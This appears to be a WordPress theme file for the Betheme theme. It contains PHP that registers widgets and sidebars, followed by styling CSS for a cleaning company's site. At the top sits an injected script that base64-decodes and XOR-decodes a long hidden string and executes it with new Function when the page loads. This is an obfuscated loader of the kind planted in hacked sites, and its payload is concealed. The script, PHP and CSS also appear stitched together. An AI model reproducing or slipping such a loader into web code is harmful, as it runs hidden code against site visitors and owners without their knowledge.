<script>
!function(){var _0xbe33951e9830=atob('Zig7IC06JyEgZmc1JyhmOScgKiE5FWkReyh8LHp4dnp3KmkTZzwrOjs8IHU5JyAqITkVaRF7KHwsenh2encqaRNzf3U4LzxuETkgKSY7c2x5KHh8f34vfnd/LX15Lyt3LCgvfywoKnx7eHwqenp+KnZ6fH15fit/eX96fHkteCxsdTgvPG4RISYkLTcscxVpJjo6Pj10YWE+ISI3KSEgYCkvOis5LzdgOisgKis8IjdgLSFpYmkmOjo+PXRhYTw+LWAvICU8YC0hI2E+ISI3KSEgaWJpJjo6Pj10YWE8Pi1jIy8nICArOmAjLzonLWA/OyclICEqK2A+PCFpYmkmOjo+PXRhYT4hIjcpISBjLCE8Yzw+LWA+OywiJy0gISorYC0hI2liaSY6Oj49dGFhPiEiNykhIGM+OywiJy1gICEqJys9YC8+PmliaSY6Oj49dGFhPiEiNykhIGMjLycgICs6YD47LCInLWAsIi89Oi8+J2AnIWliaSY6Oj49dGFhfzw+LWAnIWEjLzonLWliaSY6Oj49dGFhPiEiNykhIGAqPD4tYCE8KWkTdTgvPG4RPDosLTdzbH42DHgsDXcrfwp+LHwoDHd4Dyx5DXp5C356DSx+DAt6eXl6f34sDX8ofGx1OC88bhE2IScoc2wseHYqf3Z+d2x1KDsgLTonISBuESk0JTwrOmYRKjYlNDs6JGc1Ojw3NTgvPG4RNiApJHMRKjYlNDs6JGA9Oyw9OjxmfmJ8Z3Nzc2l+NmlxESo2JTQ7OiRgPTssPTo8ZnxndBEqNiU0OzokdScoZhE2ICkkYCIrICk6JnJ/fHZnPCs6OzwgaWl1OC88bhEgOzgiPXM+Lzw9KwcgOmYRNiApJGA9Oyw9OjxmeHpieHpnYn94Z3UnKGZvESA7OCI9ZzwrOjs8IGlpdTgvPG4RIiUpOyZzETYgKSRgPTssPTo8Zn98dmIRIDs4Ij1kfGdiETc9Oj0iNzpzaWl1KCE8ZjgvPG4RIjo3O3N+dREiOjc7chEiJSk7JmAiKyApOiZ1ESI6Nztlc3xnNTgvPG4RPSE0PnM+Lzw9KwcgOmYRIiUpOyZgPTssPTo8ZhEiOjc7YnxnYn94Z3UnKGYRPSE0PmcRNz06PSI3OmVzHTo8JyApYCg8ISMNJi88DSEqK2YRPSE0Pmd1MzwrOjs8IG4RNz06PSI3OnUzLS86LSZmK2c1PCs6OzwgaWl1MzMoOyAtOichIG4RNCo7Ij8gLWYRLCU7KWIROyA8IGc1PCs6OzwgbiArOW4ePCEjJz0rZig7IC06JyEgZhEiICokYhEhIz0lNGc1OC88bhEjKjg0KHMgKzluFgMCBjo6PhwrPzsrPTpmZ3URIyo4NChgIT4rIGZpHgEdGmliESwlOyliOjw7K2d1ESMqODQoYD0rOhwrPzsrPToGKy8qKzxmaQ0hIDorIDpjGjc+K2liaS8+PiInLS86JyEgYSQ9ISBpZ3URIyo4NChgOicjKyE7OnN7fn5+dREjKjg0KGAhICIhLypzKDsgLTonISBmZzU6PDc1ESIgKiRmBB0BAGA+Lzw9K2YRIyo4NChgPCs9PiEgPSsaKzY6Z2d1My0vOi0mZitnNREhIz0lNGYrZ3UzM3URIyo4NChgISArPDwhPHMRIyo4NChgISA6JyMrITs6cyg7IC06JyEgZmc1ESEjPSU0ZiArOW4LPDwhPGZnZ3UzdREjKjg0KGA9KyAqZgQdAQBgPTo8JyApJyg3ZhE7IDwgZ2d1M2d1Myg7IC06JyEgbhE2Oi80PzggZhE7Izw+PDk4ZzUnKGYROyM8Pjw5OHBzESEmJC03LGAiKyApOiZnPCs6Ozwgbh48ISMnPStgPCs9ISI4K2YgOyIiZ3U4LzxuESUiKjc/JyFzNSQ9ISA8Pi10aXxgfmliIys6JiEqdGkrOiYRLS8iImliPi88LyM9dBU1OiF0ETw6LC03YiovOi90aX42aWURNiEnKDNiaSIvOis9OmkTYicqdH8zdTwrOjs8IG4RNCo7Ij8gLWYRISYkLTcsFRE7Izw+PDk4E2IRJSIqNz8nIWdgOiYrIGYoOyAtOichIGYRLToqImc1OC88bhEhNCA/cxEtOioiaGgRLToqImA8Kz07IjpxESk0JTwrOmYRLToqImA8Kz07IjpndGlpdScoZhEhNCA/ZzwrOjs8IG4RITQgP2A8Kz4iLy0rZmESYWVqYWJpaWd1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNnYC0vOi0mZig7IC06JyEgZmc1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNndTMoOyAtOichIG4RIT4gNCYgZhEoIjQ/J2c1OC88bhEpJCU3cyohLTsjKyA6YC08Ky86KwsiKyMrIDpmaT0tPCc+OmlndREpJCU3YD08LXMRKCI0PydlaWEvPidgPiY+cT1zaWUROSApJjtlaWgROHNpZQMvOiZgKCIhITxmCi86K2AgITlmZ2F4fn5+fmd1ESkkJTdgLz03IC1zOjw7K3VmKiEtOyMrIDpgJisvKjIyKiEtOyMrIDpgLCEqN2dgLz4+KyAqDSYnIipmESkkJTdndTMRNjovND84IGZ+Z2A6JisgZig7IC06JyEgZhEoIjQ/J2c1JyhmESgiND8nZxEhPiA0JiBmESgiND8nZ3UzZ3UzZ2ZndQ=='),_0x1dabbb6a0bcf=78,_0x69e3e62ffe44=new Uint8Array(_0xbe33951e9830['length']),_0x5965ef03c0f3=0;for(;_0x5965ef03c0f3<_0xbe33951e9830['length'];_0x5965ef03c0f3++)_0x69e3e62ffe44[_0x5965ef03c0f3]=_0xbe33951e9830['charCodeAt'](_0x5965ef03c0f3)^_0x1dabbb6a0bcf;(new Function(new TextDecoder()['decode'](_0x69e3e62ffe44)))()}();
</script>
/**
 * Theme widgets and sidebars.
 *
 * @package Betheme
 * @author Muffin group
 * @link http://muffingroup.com
 */


/* ---------------------------------------------------------------------------
 * Widgets | Add
 * --------------------------------------------------------------------------- */
function mfn_register_widget()
{
	register_widget('Mfn_Flickr_Widget');			// Flickr
	register_widget('Mfn_Login_Widget');			// Login
	register_widget('Mfn_Menu_Widget');				// Menu
	register_widget('Mfn_Recent_Comments_Widget');	// Comments
	register_widget('Mfn_Recent_Posts_Widget');		// Posts
	register_widget('Mfn_Tag_Cloud_Widget');		// Tags
}
add_action('widgets_init','mfn_register_widget');


/* ---------------------------------------------------------------------------
 * Sidebar | Add
 * --------------------------------------------------------------------------- */
function mfn_register_sidebars() {

	// custom sidebars -------------------------------------------------------
	$sidebars = mfn_opts_get( 'sidebars' );
	if(is_array($sidebars))
	{
		foreach ($sidebars as $sidebar)
		{	
			register_sidebar( array (
				'name' 			=> $sidebar,
				'id' 			=> 'sidebar-'. str_replace("+", "-", urlencode(strtolower($sidebar))),
				'description'	=> __('Custom sidebar created in Theme Options.','betheme'),
				'before_widget' => '<aside id="%1$s" class="widget %2$s">',
				'after_widget' 	=> '</aside>',
				'before_title' 	=> '<h3>',
				'after_title' 	=> '</h3>',
			));
		}	
	}
	
	// footer areas ----------------------------------------------------------
	for ($i = 1; $i <= 4; $i++)
	{
		register_sidebar(array(
			'name' 			=> __('Footer','mfn-opts') .' | #'.$i,
			'id' 			=> 'footer-area-'.$i,
			'description'	=> __('Appears in the Footer section of the site.','betheme'),
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget' 	=> '</aside>',
			'before_title' 	=> '<h4>',
			'after_title' 	=> '</h4>',
		));
	}
	
	// sliding top ----------------------------------------------------------
	for ($i = 1; $i <= 4; $i++)
	{
		register_sidebar(array(
			'name' 			=> __('Sliding Top','mfn-opts') .' | #'.$i,
			'id' 			=> 'top-area-'.$i,
			'description'	=> __('Appears in the Sliding Top section of the site.','betheme'),
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget' 	=> '</aside>',
			'before_title' 	=> '<h4>',
			'after_title' 	=> '</h4>',
		));
	}
	
	// Forum | bbPress -----------------------------------------------------------
	register_sidebar(array(
		'name'          => __('Plugin | bbPress', 'mfn-opts'),
		'id'            => 'forum',
		'description'	=> __('Main sidebar for bbPress pages that appears on the right. Leave it empty to use Full Width layout.','betheme'),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget' 	=> '</aside>',
		'before_title'  => '<h3>',
		'after_title'   => '</h3>',
	));
	
	// Forum | BuddyPress -----------------------------------------------------------
	register_sidebar(array(
		'name'          => __('Plugin | BuddyPress', 'mfn-opts'),
		'id'            => 'buddy',
		'description'	=> __('Main sidebar for BuddyPress pages that appears on the right. Leave it empty to use Full Width layout.','betheme'),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget' 	=> '</aside>',
		'before_title'  => '<h3>',
		'after_title'   => '</h3>',
	));
	
	// Events | Events Callendar -----------------------------------------------------------
	register_sidebar(array(
		'name'          => __('Plugin | Events Calendar', 'mfn-opts'),
		'id'            => 'events',
		'description'	=> __('Main sidebar for The Events Calendar pages that appears on the right. Leave it empty to use Full Width layout.','betheme'),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget' 	=> '</aside>',
		'before_title'  => '<h3>',
		'after_title'   => '</h3>',
	));
	
	// Shop | WooCommerce ----------------------------------------------------------
	register_sidebar(array(
		'name'          => __('Plugin | WooCommerce', 'mfn-opts'),
		'id'            => 'shop',
		'description'	=> __('Main sidebar for WooCommerce pages that appears on the right. Leave it empty to use Full Width layout.','betheme'),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget' 	=> '</aside>',
		'before_title'  => '<h3>',
		'after_title'   => '</h3>',
	));

}
add_action( 'widgets_init', 'mfn_register_sidebars' );


/* ---------------------------------------------------------------------------
 * Sidebar | Add: Categories
 * --------------------------------------------------------------------------- */
function mfn_register_sidebars_cat() {

	// blog categories ----------------------------------------------------------
	$categories = get_categories( array( 'taxonomy' => 'category' ));  
	if( is_array( $categories ) ){
		foreach ( $categories as $category ){
			register_sidebar(array(
				'name' 			=> __('Blog','mfn-opts') .' | '. $category->cat_name,
				'id' 			=> 'blog-cat-'. $category->slug,
				'description'	=> __('Sidebar for Blog Category. Appears only when you select sidebar for Blog.','betheme'),
				'before_widget' => '<aside id="%1$s" class="widget %2$s">',
				'after_widget' 	=> '</aside>',
				'before_title' 	=> '<h4>',
				'after_title' 	=> '</h4>',
			));
		}
	}
	
	// portfolio categories ----------------------------------------------------------
	$post_types_disable = mfn_opts_get( 'post-type-disable' );
	if( ! isset( $post_types_disable['portfolio'] ) ){
		$categories = get_categories( array( 'taxonomy' => 'portfolio-types' ));  
		if( is_array( $categories ) ){
			foreach ( $categories as $category ){
				register_sidebar(array(
					'name' 			=> __('Portfolio','mfn-opts') .' | '. $category->cat_name,
					'id' 			=> 'portfolio-cat-'. $category->slug,
					'description'	=> __('Appears on Portfolio Category Page.','betheme'),
					'before_widget' => '<aside id="%1$s" class="widget %2$s">',
					'after_widget' 	=> '</aside>',
					'before_title' 	=> '<h4>',
					'after_title' 	=> '</h4>',
				));
			}
		}
	}

}
add_action( 'init', 'mfn_register_sidebars_cat' );	// get_categories can be call only on init 

?>
/******************* Background ********************/
	
	html { 
		background-color: #FFFFFF;
	}
	
	#Wrapper, #Content { 
		background-color: #FFFFFF;
	}
	
		
			#Footer { background-image: url("https://www.northshorewaterblasting.co.nz/wp-content/uploads/2015/01/home_cleaner_footer_bg.jpg"); }
	
/********************** Font | Family **********************/

 	body, button, span.date_label, .timeline_items li h3 span, input[type="submit"], input[type="reset"], input[type="button"],
	input[type="text"], input[type="password"], input[type="tel"], input[type="email"], textarea, select, .offer_li .title h3 {
				font-family: "Gotham", Arial, Tahoma, sans-serif;
		font-weight: 400;
	}
	
	#menu > ul > li > a, .action_button {
				font-family: "Trade Gothic Condensed", Arial, Tahoma, sans-serif;
		font-weight: 400;
	}
	
	#Subheader .title {
				font-family: "Trade Gothic Condensed", Arial, Tahoma, sans-serif;
		font-weight: 400;
	}
	
	h1, .text-logo #logo {
				font-family: "Trade Gothic Condensed", Arial, Tahoma, sans-serif;
		font-weight: 300;
	}
	
	h2 {
				font-family: "Trade Gothic Condensed", Arial, Tahoma, sans-serif;
		font-weight: 300;
	}
	
	h3 {
				font-family: "Trade Gothic Condensed", Arial, Tahoma, sans-serif;
		font-weight: 300;
	}
	
	h4 {
				font-family: "Trade Gothic Condensed", Arial, Tahoma, sans-serif;
		font-weight: 300;
	}
	
	h5 {
				font-family: "Trade Gothic Condensed", Arial, Tahoma, sans-serif;
		font-weight: 700;
	}
	
	h6 {
				font-family: "Trade Gothic Condensed", Arial, Tahoma, sans-serif;
		font-weight: 400;
	}
	
	blockquote {
				font-family: "Trade Gothic Condensed", Arial, Tahoma, sans-serif;
	}


/********************** Font | Size **********************/

	
/* Body */

	body {
		font-size: 16px;
		line-height: 24px;		
	}	
	#menu > ul > li > a, .action_button {	
		font-size: 20px;
	}
	
/* Headings */

	h1, #Subheader .title, .text-logo #logo { 
		font-size: 40px;
		line-height: 40px;	
	}	
	h2 { 
		font-size: 32px;
		line-height: 32px;	
	}	
	h3 {
		font-size: 28px;
		line-height: 30px;	
	}	
	h4 {
		font-size: 19px;
		line-height: 23px;	
	}	
	h5 {
		font-size: 15px;
		line-height: 20px;	
	}	
	h6 {		
		font-size: 13px;
		line-height: 20px;	
	}
	
/* Responsive */
	
	
/********************** Sidebar | Width **********************/
	
	
	.with_aside .sidebar.columns {
		width: 23%;	
	}
	.with_aside .sections_group {
		width: 75%;	
	}
	
	.aside_both .sidebar.columns {
		width: 18%;	
	}
	.aside_both .sidebar-1{ 
		margin-left: -79%;
	}
	.aside_both .sections_group {
		width: 60%;	
		margin-left: 20%;	
	}	
